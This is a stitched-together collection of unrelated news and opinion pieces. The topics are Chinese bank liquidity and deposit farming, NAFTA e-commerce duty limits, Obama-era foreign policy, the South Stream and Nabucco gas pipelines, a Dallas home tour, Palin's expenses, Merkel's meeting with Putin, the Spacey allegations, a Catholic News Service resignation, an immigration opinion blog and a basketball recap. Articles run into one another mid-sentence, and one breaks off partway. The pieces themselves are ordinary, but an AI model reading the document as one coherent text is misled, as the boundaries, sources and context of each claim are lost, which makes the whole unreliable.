The likely cause is that the People’s Bank of China (PBOC) declined to inject funds into the interbank market for a third time in a row Friday. Cash will get even scarcer this week, when banks move cash back onto their balance sheets to meet reserve ratio requirements. For that reason, the PBOC will likely open its tills on Tuesday, soothing the Shibor once again.
The Shibor is useful, says Patrick Chovanec, chief strategist at Silvercrest Asset Management, “because it’s the part of the iceberg that we can see.” Below the surface, however, are far more alarming signs of the state of China’s economy, according to a recent note by Anne Stevenson-Yang of J Capital Research in Beijing. What her research reveals about the source of China’s liquidity suggests that, regardless of China’s 7.8 percent Q3 GDP growth, a Lehman-like bank failure is more likely than ever.
First off, bank deposits, which form the lending base for banks, are growing at a slower and slower clip. That’s largely because the government sets those rates artificially low, households are now shifting funds into high-yield wealth management products (WMPs) and other products that make up China’s shadow finance system—credit channels that exist off bank balance sheets and beyond regulator oversight.
Loan officers are now working overtime to meet quotas for deposits, not loans, says J Capital. When they can, they pass on this work to companies hard-up for credit, requiring them to find depositors willing to put enough of their money in the bank to cover the amount of the loan they need. To lure depositors, the borrowing company offers to pay interest directly to depositors, which supplements the government-mandated 3.5 percent rate the bank pays on deposits. Depositors therefore reap up to 8 percent yield—way higher than the measly 3.5 percent for the deposit. This is so widespread that it’s given rise to a specialist trade in “deposit farming”—i.e. brokering depositor recruitment—which has cropped up on street corners around China, reports J Capital.
If deposits are so scarce, how have banks been able to pass the audits at the end of each month, which is when they must meet reserve requirement ratios? By using “quasi-money”—fairly liquid financing instruments that include wealth management products which securitize off-balance-sheet lending, and discounted bank acceptance notes. The latter is a promise of a future payment; businesses can cash them in at a discount before the payment is due. Through repurchase agreements with other banks, they can be wiped off bank books while boosting a bank’s deposits.A U.S. proposal for Mexico and Canada to vastly raise the value of online purchases that can be imported duty-free from stores like Amazon.com and eBay is emerging as a flashpoint in an upcoming renegotiation of the NAFTA trade deal.
Vulnerable industries like footwear, textiles and bricks and mortar retail in Mexico and Canada are pushing back hard against the proposal by the U.S. trade representative to raise Mexican and Canadian duty-free import limits for e-commerce to the U.S. level of $800 US, from current thresholds of $50 US and $20 Canadian, respectively.
For the Mexicans, the main worry is that such a move could open a back door for cheap imports from Asia and beyond. For Canadian retailers, the fear is that e-commerce companies will undercut their prices.
The U.S. plan was unveiled in July as part of the Trump administration's goals to renegotiate the 25-year-old treaty. While Mexico and Canada are still formulating their responses, Mexico City is leaning strongly against the proposal in its current form, and Ottawa may not be far behind.
The proposed $800 level "opens a completely unnecessary door" to imports from outside the NAFTA trading bloc, Mexican Economy Minister Ildefonso Guajardo said on Thursday on the sidelines of a NAFTA-related event, calling it "a very sensitive topic."
The growing controversy over how to account for a burgeoning regional e-commerce sector dominated by the United States highlights a rare area where the Trump administration is pushing to liberalize trade rules rather than tightening them.
The growing controversy over how to account for a burgeoning regional e-commerce sector dominated by the United States highlights a rare area where the Trump administration is pushing to liberalize trade rules rather than tightening them. (Michael Nagle/Bloomberg)
Much of Trump's criticism of NAFTA stems from his belief it has decimated U.S. manufacturing as companies shifted production to Mexican factories with cheaper labor, creating a U.S. trade deficit with Mexico worth more than $60 billion.
But Mexican and Canadian business leaders fear the rule change could make their industries vulnerable, arguing that unless online retailers can show products are made in North America, they should not be exempted from duties levied on other imports.
"We cannot open the door to inputs from outside the region coming in tax-free when we're talking about the need to reduce the deficit and create jobs,"said Moises Kalach, who fronts the international negotiating arm of Mexico's CCE business lobby.
"It goes completely against that."
Guajardo said Mexico's retail group, the National Self-service and Department Store Association, which includes powerful members such as Wal-Mart de Mexico, had visited him last week to express concerns about the proposal.
He said the group's representative brought to the meeting a $250 jacket bought on the internet as evidence that violations to the existing limit were already threatening members businesses.
"Suppose there was an $800 free limit. Can you imagine how many shirts Vietnam could send to Mexico in a packet below that price? They could easily flood us with packets of $100," he said, while recognizing the need to smooth customs processes.
Complicating efforts to agree on a common set of rules is a tangle of diverging regulations on tax and how the restrictions on imports differ in the region depending on whether they enter by air, sea or land.
Amazon.com Inc and eBay Inc declined to comment for this story. eBay has previously said it supports an increase to Canada's low-value customs de minimis threshold for ecommerce to promote seamless access to the global marketplace.
Increasing the threshold "absolutely" is eBay's top priority in the NAFTA renegotiation, a person familiar with the matter said.
Canadian opposition is being led by retailers, whose industry association said it was concerned about "the behavioural shift that would inevitably result if shoppers can buy a far wider range and higher value of goods tax-free and duty-free."
The Retail Council of Canada said in a submission to the government that clothes, books, toys, sporting goods and consumer electronics would be among the items most affected, and expressed confidence Ottawa would fend off such requests
"EBay in particular has lead this charge to three different finance ministers in a row — Jim Flaherty, Joe Oliver, and Bill Morneau — and in each case they have failed," said Karl Littler, a spokesman for the Retail Council of Canada.
"The U.S. raised this quite frequently in the TPP (Trans-Pacific-Partnership trade) round and they also failed to secure this concession," he added.
There have been hints from Canada's government about a compromise under which a higher limit would exempt products ordered from e-commerce from duties but not sales taxes. "When it comes to waiving duties and taxes, we need to carefully consider the impact that would have on Canadians and on Canadian businesses," said Chloe Luciani-Girouard, a spokeswoman for Morneau.
"Mexican firms could accept a higher import limit for goods produced in the NAFTA region, but not from other nations," said Alejandro Gomez Tamez, executive president of the Chamber of Commerce for the footwear industry in the central Mexican state of Guanajuato, a hub of textile manufacturing.
"When a product comes in, even if it's packaged and sent from the United States, if it's from a third country, it should pay duties," he said.Obama was the anti-Bush of 2008, a peace candidate whose antiwar supporters’ hopes were symbolized after his election by the Nobel Prize he won in 2009.
John Kerry was the anti-Bush of 2004, a man who may have accepted the military pageantry of his nominating convention but who had, after all, made his name with Vietnam Veterans Against the War and famously said in 1971, “How do you ask a man to be the last to die for a mistake?”
Chuck Hagel, meanwhile, would have been the dream candidate of the realist right, a Republican veteran who may have voted for the Iraq War but regretted it and strongly opposed the “surge.”
These alternatives to the man who took us to war in Iraq now make America’s foreign policy. And they propose to attack a Mideast country over a Baathist dictator’s weapons of mass destruction.
Yet irony aside, the foreign policy we’re getting is exactly the one you would expect from these men: not a peace policy—not noninterventionism—but a conflicted war policy. And it had to be like this: if U.S. strategy is to change, this is the ugly way it has to come about. A President Rand Paul wouldn’t have any easier a time of it than Barack Obama is having, for reasons that are worth exploring.
Since at least the Reagan era the notion that the U.S. can advance its interests with limited military actions—micro-wars—has been presidential doctrine. Cruise missiles and bombing sorties, and now drones, have displaced covert action and the use of foreign proxies as keystones of U.S. power. Not that we don’t still engage in plenty of covert operations, but the tools Washington is most comfortable with today are mechanical. During the Cold War, presidents could readily support dictators who would serve our interests; today that’s considered unhygienic. We prefer “surgical strikes.”
Such strikes do not often achieve their strategic objectives: they don’t dissuade terrorism, they’re not sufficient to effect regime change–remember the “decapitation” strikes that preceded “boots on the ground” in Iraq?—and they don’t do much to prevent humanitarian catastrophes. They do, however, have a ritual value: a president can fire missiles to show that he’s not sitting passively by as something we don’t like takes place. That his action has no decisive practical effect on the situation just can’t be helped; the alternative—doing nothing—would be equally ineffective, while also burdening the president’s conscience (not just his poll numbers) with a sense of impotence and failure.
Until the George W. Bush administration, presidents had hoped that relatively small deployments of troops could do what bombs and missiles could not. So we had a succession of minor conflicts quite different from the big ones of Vietnam and Korea: Grenada, Panama, Somalia, Haiti, the Balkans. The first Bush’s Gulf War and the second’s wars in Iraq and Afghanistan involved more men and longer deployments than the others, but were still meant to be cakewalks not quagmires. And in one sense, they were: the first Gulf War, the overthrow of the Taliban in 2001, and the toppling of Saddam Hussein in 2003 were all swiftly and rather painlessly accomplished. The trouble was what came after.
So now Obama, Kerry, and Hagel are confronted with this: the tools customarily at their disposal are either ineffective (bombing) or too expensive (boots on the ground—costly above all in moral and political terms). A return to the dictator-friendly Realpolitik of the Cold War hardly seems possible. What can an electable “peace” politician do?
Obama’s first answer was to “lead from behind” in Libya, with America supporting European forces and Libyan rebels. That seemed to work, until Benghazi. What’s more, leading from behind hasn’t been an option in Syria, where even the British don’t want to be involved. Obama was left to deploy symbolic force or do nothing.
Instead, he’s tried something novel, asking Congress for permission to use cruise missiles. It’s the same policy instrument his recent predecessors have resorted to with abandon, but Obama is, in effect, asking Congress and the country to re-evaluate its use: America’s conscience is pricked, no one else will act, but the weapon at hand is of little use by itself, and a wider war is a terrifying prospect. Obama proposes to use missiles anyway, but he’s tentative, to the point where he’ll even consider a sudden proposal from the Russians—especially in light of the fact that he couldn’t have persuaded Congress about a bombing policy he doesn’t seem persuaded about himself.
Whether or not the U.S. should be policing Syria in particular, there will always be objectives the U.S. wants to achieve by modifying the behavior of foreign actors. Some of those objectives will be moral, others purely in the national self-interest. It does no good to propose that the U.S. simply stop thinking about what happens in other countries—“noninterventionism” in this sense is as poor a term for what’s needed as “isolationism” is. As the name says, the focus of noninterventionism tends to be on simply not acting, as opposed to ways in which the U.S. can act that would be both more effective and less bloody than our present policy tools allow. For a decade, a broad-based noninterventionist sentiment has matured under Bush and Obama, but sentiment has to translate into policy at some point. It cannot be pure idealism, a wish for an end to world politics.
Obama, Kerry, and Hagel were never noninterventionists, but they represent a half-turn away from interventionism. They’re caught between their own conventional attitudes about American power and the realization that the tools at their disposal are broken. Politics being what it is, the country could not have switched from George W. Bush’s (or Dick Cheney’s) hyper-interventionism directly to a practical noninterventionism—assuming that a practical noninterventionism were even on the menu, which as yet it is not. There had to be a period of transition.
The failure of the Bush project and the lack of direction that has characterized Obama’s foreign policy are symptoms of the breakdown of one presidential way of thinking and acting in the world, a model that arose after Vietnam and is slowly collapsing after Iraq. Obama has tried to salvage and reform it—he’s the Gorbachev of America’s post-Cold War foreign policy. But as the example of the Soviet Union in 1991 showed, the implosion of one political paradigm is only half the story, the other half is what replaces it. That’s the discussion Americans should be having now: what would a foreign policy that wasn’t merely a reformist version of Bush’s policy look like? How could it secure American objectives (including such things as deterring the use of chemical weapons) without easy recourse to force?
An answer might be strategic diplomacy, played hard or soft as necessary, and an overall approach more like that of the “political warfare” of the early Cold War. (Though in a sense, Reagan and Pope John Paul II at the end of the Cold War were the consummate strategic diplomats.) China also provides us some clues: Beijing stays out of shooting wars but knows very well how to throw its weight around. Even Putin is now teaching us a lesson about the power of diplomacy—including public diplomacy in his New York Times piece—that we would do well to learn. American diplomacy has long been reduced to an adjunct to our coercive power, used too often to make excuses for a policy defined by the cruise missile. That has to change, for strategic reasons as much as moral ones. But it will take time.On May 15, Russia signed deals with Italy, Serbia, Bulgaria, and Greece, bringing the South Stream project, a major new gas pipeline to Europe, one step closer to reality.
AFP Russia has huge reserves of natural gas in Siberia -- but the cost of getting the gas to Europe is enormous.
At a meeting in Sochi, attended by Russian Prime Minister Vladimir Putin and Italian Prime Minister Silvio Berlusconi, Russia's Gazprom and Italy's ENI agreed to double the planned pipeline's capacity to 63 billion cubic meters. In addition to ENI, Gazprom signed memoranda of understanding with Greek natural gas transmission company DESFA, Serbia's Srbijagas, and Bulgarian Energy Holding.
The participating countries also signed documents needed to start work on the 2,000km (1,243-mile) pipeline. With completion planned by 2015, South Stream eventually will pump natural gas from southern Russia under the Black Sea, bringing it via Bulgaria, Serbia, Hungary, and Greece to terminals in western Austria and southern Italy.
The agreement represents a significant diplomatic coup for Russia in a great geopolitical race that will help determine the source of Europe's energy supplies for decades to come. That race has been visibly gaining pace over recent weeks. Backers of a rival pipeline to southern Europe are now vying to put together the necessary political support. "It's very much down to the wire now," says Chris Weafer, chief strategist at UralSib, a Moscow bank. "There's definitely a race on to get all the signatures in place."
Concerns About a Stranglehold
It's no coincidence that the agreements on South Stream come just days after a key summit in Prague designed to give political impetus to Nabucco, a proposed rival pipeline through Turkey that is backed by the European Commission and the US. In the eyes of the EU and the US, the key advantage of Nabucco is that it would bypass Russia, diminishing Europe's already heavy dependence on Russian gas. Imports from Russia presently account for around 40 percent of gas imports and 25 percent of gas consumption in Europe. Concerns about Russia's stranglehold on Europe's energy have only intensified recently, following this January's damaging price spat between Russia and Ukraine, which briefly saw Russia's gas supplies to Europe suspended.
Those fears help explain the recent burst of activity surrounding Nabucco, a project that has been under discussion since 2002. In addition to the Prague summit, the EU has also been busy courting Turkey, a key transit country, which is expected to sign an agreement in June paving the way for Turkey to host the pipeline. Previously, there had been concerns that Turkey would try to use the pipeline as a bargaining chip in EU accession negotiations.
But despite the recent progress on Nabucco, it all still looks to many analysts like a case of too little, too late. "I believe Nabucco still looks very problematic," says Jonathan Stern, director of gas research at the Oxford Institute for Energy Studies. "It might work, or it might not, but I don't think it's going to work quickly." He argues that the pipeline probably won't be viable until around 2020 -- much later than the 2014 starting date currently being advanced.
It doesn't help that Russia, eager to safeguard its dominant position as Europe's energy supplier, is already one step ahead of the game. The agreements reached in Sochi underscore Russia's success in winning over key customers and transit countries for South Stream -- a project that contradicts the EU's stated policy of diversifying Europe's energy supplies.
Where to Get the Gas
Even without the competition from South Stream, major question marks continue to hang over the whole economic viability of the Nabucco project. One key problem is financing: So far the EU has only committed a small fraction of the 7.9 billion ($10.6 billion) needed to build the pipeline. An even more basic question is where the gas for Nabucco (ultimately targeted at 31 billion cubic meters per annum) will come from.
The original idea behind the pipeline was to ship gas from the Caspian region and Central Asia, with gas-rich countries such as Azerbaijan, Kazakhstan, Turkmenistan, and Uzbekistan supplying the fuel. The snag is that of these four countries, only Azerbaijan signed up to the Prague agreement backing the project.
The other three Central Asian countries, under diplomatic pressure from Russia, pointedly declined to do so. In any case, no one has figured out how Central Asian gas could be linked up with Nabucco. A pipeline under the Caspian is impossible until all the bordering states resolve a long-running dispute over the sea's legal status, giving Russia an effective veto.
Analysts therefore believe the only way Nabucco can be viable is if Iran can now be talked into supplying gas for the project -- a scenario that the US previously fought. And despite recent overtures from US President Barack Obama to improve relations with Iran, it's still far too soon to talk of any diplomatic thaw.
Meanwhile, the Russians are making progress with South Stream, which currently appears to be the more economically viable of the two. In sharp contrast to Nabucco, the Russians have no shortage of gas that could potentially be transported to Europe via the pipe, and the Russians also seem committed to financing the project. "It's expensive, controversial, and hard to implement," says Valery Nesterov, oil and gas analyst at Russian investment bank Troika Dialog. "But at least it has investment guarantees, and a resource base, to be secured by Gazprom. Though not without problems, the financial guarantees and resource base are still more realistic than those secured by Nabucco."
Snail vs. Tortoise
It's far too early, though, to declare victory for the Russians. The South Stream project also faces many daunting obstacles. Indeed, the great pipeline race might be said to resemble a marathon contest between a snail and a tortoise. "At this stage, it's not clear where the gas is going to come from for either route," says UralSib's Weafer.
Although Russia has huge gas reserves that could potentially be shipped Europe's way, most of those reserves are still sitting deep under the Arctic tundra, in the remote Yamal region of Northern Siberia. The cost of bringing them to market is gargantuan -- around $250 billion, according to estimates by Royal Dutch Shell. The current global recession has only increased the uncertainty about future gas demand, making Gazprom even more reluctant to invest. Russia and the EU have so far failed to hammer out legal agreements that would regulate joint ventures between Gazprom and Western partners. "It's a real mess," says Weafer.
Then there's the tremendous cost of the South Stream pipeline itself. Officially estimated at between 19 billion and 24 billion ($25.6 billion to $32.4 billion), it's around three times as expensive as the alternative Nabucco route. Those costs could now be especially problematic, at a time when the global financial crisis is depressing gas prices and Gazprom's profits. "Gazprom is facing financial difficulties in the years to come," says Nesterov, "and the cost of the project is tremendous."
So despite South Stream's diplomatic head start, the outcome of the great pipeline race is still far from certain. And neither pipeline is likely to provide any quick solution to Europe's mounting long-term energy needs.Some say home is where the heart is, but for ER nurse Diana Alonzo-Donjuan and her husband Miguel Donjuan, a middle-school teacher by day and artist by night, home is where it has always been — nestled deep in the heart of Oak Cliff, Dallas, TX. Both Diana and Miguel grew up in this established, older town — and long before they met at the local college, their family homes were mere minutes apart! Since tying the knot 11 years ago, they’ve settled into this 1940s cottage-style, single-story home with their cats Kobi Bear and Uka in the historic district of Elmwood. Just a stone’s throw from their parents’ homes, their spot is just far enough away from the bustle of the city, while still being close enough that heading out when they crave some nightlife is “just a ruckus ride away.”
Despite her day-job, Diana typically has at least one DIY or home renovation project on the go and describes her home as “a hot mess of many styles,” that complement the home’s original features; such as their creaky, hardwood floors. Though her uncle advised them to take it “one room at a time,” when Diana and Miguel first moved in, they tackled almost every room at once. As a result, some projects took a whole year to complete, namely their backyard patio. Diana and Miguel sourced classified ads for free dirt for months until they were able to get enough to fill a few trucks. After spreading all the dirt by hand to level the ground, Miguel laid wood beams and spent Diana’s birthday last year unloading black star gravel and carrying it by shovel-load across the property. Diana says of the day, “When he asked me what I wanted for my birthday and I replied ‘a finished patio,’ I didn’t think he would literally have us finish it on that day!”
Another laborious project came in the form of their bedroom, where carpet was installed atop original hardwood. What they thought was going to be a weekend-long project ended up taking a whole month (which meant sleeping on an air mattress in the living room for weeks)! The carpet was adhered with so much glue that Diana and Miguel spent six days on their hands and knees scraping it off using goo-gone and metal palette knives. But that ordeal was hardly the worst part: to their surprise, the couple discovered that between each wood plank were runs of live electrical wiring. “Fire hazard, anyone?” Diana recounts, “Years ago, we learned that previous homeowners created this add-on which rests on a pier and beams atop a slab, so in order for the addition to receive electricity, they [ran] the hot wires between the wooden planks, visible and exposed!” After spending days removing and re-re-routing the wiring, sanding and refinishing the floors, they were finally able to rest and relax in their beautiful bedroom they had worked so hard on.
Besides those few adventures in renovating, the rest of their home has, in hindsight, been a breeze to remodel. “Painting and sanding seem like no big deal after those stories,” Diana says, “but the process continues as we are the type that enjoy evolving. As soon as we are done with a room, there’s another.” But each long, tiring day they’ve spent working on their home has resulted in a spot that is not only a representation of who they are, both individually and as a couple, but one that is a welcoming, comforting place for friends and family — and one that has seen countless backyard bonfires and many movie-nights-in with large bowls of popcorn. Diana says of their space, “We are thankful that it provides stories and creates memories! This little home provides us with not only shelter, but brings to life our oasis, our world!” —Sabrina
Photography by Nine Photography
1/29 Centered in their living room is a fireplace that no longer functions. Rather than rip it out, Miguel and Diana decided to keep it as a focal point and, instead use it to display the letters SG, which represent Miguel's art collective group, Sour Grapes.
2/29 Diana and Miguel standing proudly in front of their old, but charming cottage. On the front porch, they often enjoy their morning coffee and breakfast, or visit with their neighbors. "Mornings are always glorious here!" Diana says.
3/29 "The lighting in here is amazing in the afternoon," Diana explains, "Our cute coffee tables have to be the most unique items in this room -- and the best part is that they were made by me and my father!" Diana cherishes the memories that they hold and carries the lessons she learned about sanding and varnishing. "I still use his lessons to this day!"
4/29 A close-up of the handmade coffee tables.
5/29 Just a few inspirational books from Diana and Miguel's collection.
6/29 This art print, which was a gift from a friend, remains one of her favorite items in the entire home. it hangs above this vintage dresser found at a local flea market.
7/29 Some of Miguel's art hangs on the walls. "Definitely one thing we love most about our home is that no one area goes without displaying art!"
8/29 "It may not look like it, but this shelving unit is extremely heavy," Diana explains, "But we love the storage it provides -- and it gives the illusion that we are organized!"
9/29 The home's one-story floor plan.
10/29 This funky wardrobe from Anthropologie sits in their dining room and is used to store all of their throws and linens.
11/29 "Our dining room is constantly evolving," Diana begins, "but I think we have finally found its voice!" Finding a table that was small enough to be able to walk around, but large enough to seat a handful of people was difficult, but this new addition from IKEA fit the bill.
12/29 The artwork is another one of Miguel's pieces, which sits nicely behind this monstera deliciosa.
13/29 Diana enjoys the rawness of the wood, which makes for easy decorating.
14/29 This yellow enamel bar cart sits on the wall opposite Miguel's artwork. "Can you believe that I got this baby for 5 bucks?!" Diana asks.
15/29 The kitchen is one of the last untouched rooms, although Diana and Miguel are itching to rip it out and start from scratch. "We just can't stand our kitchen," she says, "One day, when we learn how to grow a money tree, the walls will come down, open shelving will be installed, and new wrap-around windows will go in."
16/29 Despite their frustration with the kitchen, one corner that can't be discounted is this neat, original cubby that stores their glassware, mason jars and small bowls and mugs.
17/29 In the hallway leading to their bedroom, they've hung as much art as they can fit. "We are fortunate enough to know several talented people who have been kind enough to gift us with original art," Diana beams. "So we blast it on every wall space we can find!"
18/29 Along with restoring the floors in their bedroom, Diana and Miguel installed the wood planks on the walls to add more warmth and character. "We love everything about this space now," Diana says, "We worked on this room from top to bottom and DIY'd the crap out of it! We will never ever do that again, but we're sure happy that we finished this space!"
19/29 Rather than using side tables and taking up the floor's footprint, the couple installed these floating shelves in an effort to make the room feel more open and airy. That way, they can still store slippers underneath, the cats have a place to rest, and the floor-space looks larger.
20/29 "The natural light in the morning is heavenly!" Diana says. "You can't wake up in here and not feel thankful!" The DIY pillows were gifted from her mother and Diana used them as the inspiration for the decor in the rest of the room.
21/29 This tiny side table, which was found at the side of the road, is host to some extra trinkets and fits between their large, backyard-facing windows.
22/29 This tiny bathroom is on the to-do list for renovations, but they've made it work for now. In fact, the floorboards were once so rotted underneath the toilet that Diana fell through the floor one time, the moment she took a seat. "I literally almost fell through into our crawl space!" she laughs.
23/29 "When we can't find something that fits our budget, we tend to just make it!" Diana says, such as these leather and dowel rods that hold their hand towels. Along with the original open shelving, it makes make this tiny room more functional.
24/29 Their second bedroom, which they use as a studio space. Even though nearly every room in the house has amazing light, this one is by far the brightest, screaming for white walls to help give Miguel the blank-canvas inspirational feel when he's creating art.
25/29 The younger of their felines, Kobi Bear, loves to jump on Miguel's table when he's working and do as cats do: cause a mess. "He knocks over the cups filled with water," Diana explains, "He's even spilled the jars on new paintings -- those are great times!"
26/29 Miguel, or as Diana calls him, the "constant creator!"
27/29 Along with the comfort it brings, Miguel and Diana's home inspires them creatively.
28/29 Their beloved backyard patio, which saw the labor of Diana and Miguel for weeks. "We love how we were able to bring to life our vision," Diana says proudly. "We designed and made this space what it is, and I just adore having fire pit nights filled with friends and family!" As part of this space's remodel, the couple divided it into three levels -- one for cooking, one for eating, and one for lounging.What's this? Another Palin-inspired political storm brewing?
After Sarah Palin's spirited attacks on elitist media during her acceptance speech at the Republican convention last week (a tactic, surely, to prevent such a trend continuing), there was a school of thought that she had made herself fairly immune to further criticism - for a while at least.
But the American press is getting on with things, and the Washington Post has obtained a log of Palin's expenses and carried out an analysis of what it reveals.
According to the paper's research, the Alaskan governor billed taxpayers for 312 nights she spent in her own home during her first 19 months of office. And, the Post claims, Palin - who earns $125,000 a year - charged the state for travel to take her children on official out of town missions and her husband billed for expenses and daily allowances. All in all, she claimed $16,951 as her allowance.
In her defence, officials say this was permitted because Palin's "duty station" is in the capital, Juneau, 600 miles from the family home in Wasilla. They have pointed out that the expenses are not unusual and, under state policy, her family is allowed to claim per diem expenses for each child taken on official business.
The Washington Post presents an interesting charge sheet because, among other issues she tackled during her widely applauded acceptance speech, Palin painted herself as the kind of politician who did without the frills and bows.
With reference to her use of a state-owned plane, she said: "While I was at it, I got rid of a few things in the governor's office that I didn't believe our citizens should have to pay for." There was also a point made about how her family didn't need a chef and she would rather cook for them.
It all makes you think: has it really only been ten days since the governor of Alaska burst on to the world's radar as John McCain's running mate?
With the dust settling after the Republican convention, national polls show McCain is leading or level with Obama, despite what was viewed as a fairly lacklustre speech on his part. A USA Today/Gallup poll over the weekend found McCain leading Obama by 50% to 46% among registered voters.
And then, of course, there's the cash: of the $47m McCain raised in August, the Republicans say $10m came in the three days after he announced Palin as his running mate.A pooch nicknamed "the saddest dog in the world" has found a temporary foster home after a heartbreaking photo of the dog went viral.The photo was posted on Facebook on Oct. 24 by Mighty Mutts, a rescue shelter and dog training |
develop our ideas, and we must give the NGOs, who we know as a motor for innovation, a good chance in Russia,” she added to strong applause.
Germany and the Netherlands need Russia for energy and as a market for exports ranging from Volkswagen Touaregs to tulips, but are uneasy about the influence its oil and gas give it and about Putin’s treatment of opponents and activists in his new Kremlin term.
Merkel had come under pressure at home to voice her concerns to Putin, not only on the inspections of NGOs, but also on their differences over Syria’s civil war and Russian criticism of the German-orchestrated financial bailout of Cyprus. Her talks with Putin would include “controversial subjects” she told reporters on the sidelines of the fair.
In his address to the trade fair Putin focused on Russia’s economic strength, noting, “despite global disarray and the global financial crisis, our country has continued to develop positively.”
Outside hundreds of protesters gathered, many carrying Syrian flags, others wearing devil masks or waving images of Putin dressed in a prisoner’s striped uniform. “Stop political terror,” read one banner.
In an earlier interview with German broadcaster ARD, Putin had dismissed criticism of the NGO inspections and said they would not cast a shadow over the visit, echoing his repeated rejection of Western worries about his domestic policies.
Putin - a former Soviet KGB officer who was stationed in East Germany, where Merkel grew up - has accused Western states of using NGOs to spy on Russia and influence politics.
He said in the interview that Russians have a right to know which NGOs are foreign-funded “and for what purposes”.
He sent warmer signals on economic issues, expressing confidence in the euro and toning down criticism of the Cyprus bailout by saying he hoped more money would flow into Russia as a result.UK police are investigating allegations that Kevin Spacey sexually assaulted a man in London in 2008.
Local police forces have referred an allegation to the Metropolitan Police after Spacey was alleged to have assaulted a man while he was artistic director of the Old Vic Theatre.
The attack is reported to have taken place on a 23 year old actor in 2008, according to The Sun newspaper.
It is believed that it is the first assault allegation against the House of Cards star to have been made to the UK authorities.
“On 1 November, City of London Police referred an allegation of sexual assault to the Metropolitan Police Service. It is alleged a man assaulted another man in 2008 in Lambeth. Officers from the Child Abuse and Sexual Offences Command are investigating,” the statement noted.
It is the latest allegation against Spacey after filmmaker and actor Tony Montana, who is best known for 2003 documentary Overnight, and Mexican actor Roberto Cavazos who worked with Spacey at London’s Old Vic made claims against the American Beauty star.
It comes days after Netflix and Media Rights Capital confirmed that there was at least one investigated incident with the Oscar winner on the set of political drama House of Cards, although showrunner Beau Willimon told Deadline that he was not made aware of any incidents.
Spacey, who earlier this week parted ways with CAA and publicist Staci Wolfe, is set to “seek evaluation and treatment” in light of sexual abuse allegations levied against him by Star Trek: Discovery actor Anthony Rapp.Tony Spence has stepped down from his position as Director and Editor in Chief of Catholic News Service, a position he has held since 2004, after a series of comments on Twitter drew the critical attention of web-based fidelity watchdogs at the Lepanto Institute, LifeSite news and other sites.
An emotional Spence said this afternoon that critics went after him "full-court on the blogoshere” over the past few days. Spence was told yesterday during a meeting with Msgr. J. Brian Bransfield, the general secretary of the bishops' conference, that he had “lost the confidence of the conference” and was asked to submit a letter of resignation.
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The web-based publications, which in the past have frequently targeted Catholic Relief Services and the Catholic Campaign for Human Development, began a drumbeat for Spence’s removal after he posted a series of tweets commenting on impending laws related to bathroom access and other rights for lesbian, gay and transgender people. The Lepanto Institute accused Spence of issuing "public statements decrying proposed legislation in several states that would protect religious freedom and deny men pretending to be women the 'right' to enter women’s bathrooms."
Spence said that the web campaign provoked hate mail to his e-mail account, with messages urging his excommunication and calling him a traitor to the faith. Spence said he did not believe his Twitter comments would provoke such a backlash—“obviously”—but that he had been to his mind merely commenting on developing news on a subject frequently covered by CNS staff.
Spence said that he had anticipated ending his career at CNS. “Sixty-three and unemployed; not the brightest prospects,” he said with a grim laugh. “My plan now is to go home to Tennessee and start over,” he said.
He added, “My 12 years at CNS have been the best 12 years of my professional life; my staff is just amazing and I’ll miss it.”
In 2010 Spence was the winner of the Catholic Press Association's St. Francis de Sales Award.
He said then that when Msgr. Owen Campion gave him his first Catholic press job at The Tennessee Register, diocesan newspaper in Nashville, Tenn., more than 30 years ago, "I thought I would give it a year."
"It hardly took that long to realize it was much more than a job," he added. "It was a vocation. And one I truly love."
Spence thanked his colleagues in the Catholic press for sharing his "love of this vocation."
Among other experiences Spence had been executive director for advancement communication at Vanderbilt University. He was editor-in-chief and general manager of the Tennessee Register Inc., publisher of the Tennessee Register, from 1989 to 1998. He also served as the diocese's communications director in 1992-98.
He served as CPA president from 1994 to 1996 and oversaw the establishment of the Catholic Advertising Network and the Catholic Press Foundation. He also was a co-founder of the Appalachian Press Project of Kentucky and Tennessee.
Catholic News Service is an office of the U.S. Conference of Catholic Bishops and Spence was a member of the conference senior staff. Though part of the bishops' conference, the news service is financially self-supporting by "providing news stories, features and reviews to paying clients that are both secular and religious news outlets," according to a notice on the conference website.This can also be seen with my other blogs at www.atheistanalysis.com check it out!
There has to be a bad guy, there has to be a face of evil, we need that concentrated source, we have to have a villain… Otherwise we would share in the blame. We would share in the fault, the creation of a power vacuum, and the growth of an elite ruling class so far removed as to have forsaken any trace of human faculties or characteristics.
Thus the emergence of immigration as a deterministic factor in the reasoning for the fall of the American manufacturing system, not corporate greed and bottom line spending that took disposable income from the people and sent it to semi slave labor South America and China. Immigration as the reasoning for the slow growth of jobs in the private sector or entrepreneurial ventures, not “trickle down” economics that have throughout history shown a capitalistic tendency to search for the cheapest labor available regardless of human rights to keep costs low and profits high for the few.
Immigration as the reasoning for the reduction in domestic variety and slow innovation, not a society that has adopted an apathetic or even creationist view toward the sciences in education while being fed gadgets and toys made by the lowest bidder. Countries desperate to innovate and grow such as South Korea have left us behind, they now boast an average internet connectivity speed almost 4 times that of the United States.
The previous points aside, I wish to point towards an interesting paradox, a paradox of love and passion for our fellows, so supposedly and aptly preached by gentle jesus meek and mild. These laws, common with almost all biblical interpretation, seem to be lesser in their divine implication than the laws of modern borders and nationalism. An interesting paradox indeed you might say, a common and clearly rampant suspension of the laws of the savior of man for the greed driven comfort of materialism and economic superiority.
The majority of those who wish to enter the mainland of the United States are of devout christian faith, the catholic mother Mary enshrined upon the face of their lives with extreme prejudice. Yet our conservative political parties vehemently cast reproach towards the incoming and current illegals as if they were worse than the ever growing atheist and agnostic population. One far more dangerous to their views and policy than poor families risking life and freedom to escape the tyrannies of cartels.
I try to understand the apathy displayed by the opponents of immigration when economic means were abundant and plentiful, when the burgeoning world markets were just opening to the lightning fast global communication networks. Apathy towards the influx of Latin American populations while the innovation displayed by a scientific community filled with an almost monopolistic access to the greatest communication tools ever conceived produced enough profits to hide the strain on the system by the new poverty level consumers.
With Moore’s Law reaching a head the almost uniformly christian conservative arm of the political system sought to find a face upon which to place the blame of their greed, to levy the crimes of Wall Street with banks so big they could not fail, and to misdirect the attention of the populace as they maneuvered assets to tax free neutral locations further bleeding the people who built them.
So with this American conservatives clutch their 30 pieces of silver as they cast the poor faithful to the cross they so lovingly bow down before.
AdvertisementsSolomon Hill and the Pacers Steal Win vs. Hornets: Tweets of the Night by Jalen Bishop
The Good: Buzz. Meet buzzer beater. Any questions? The Indiana Pacers really weren’t great as far as meshing as a unit for long stretches of this one. They did use fine individual play from most guys though — some early Roy Hibbert buckets and some just-before-halftime iso success — to mask a fairly weak offensive play in the first two quarters.
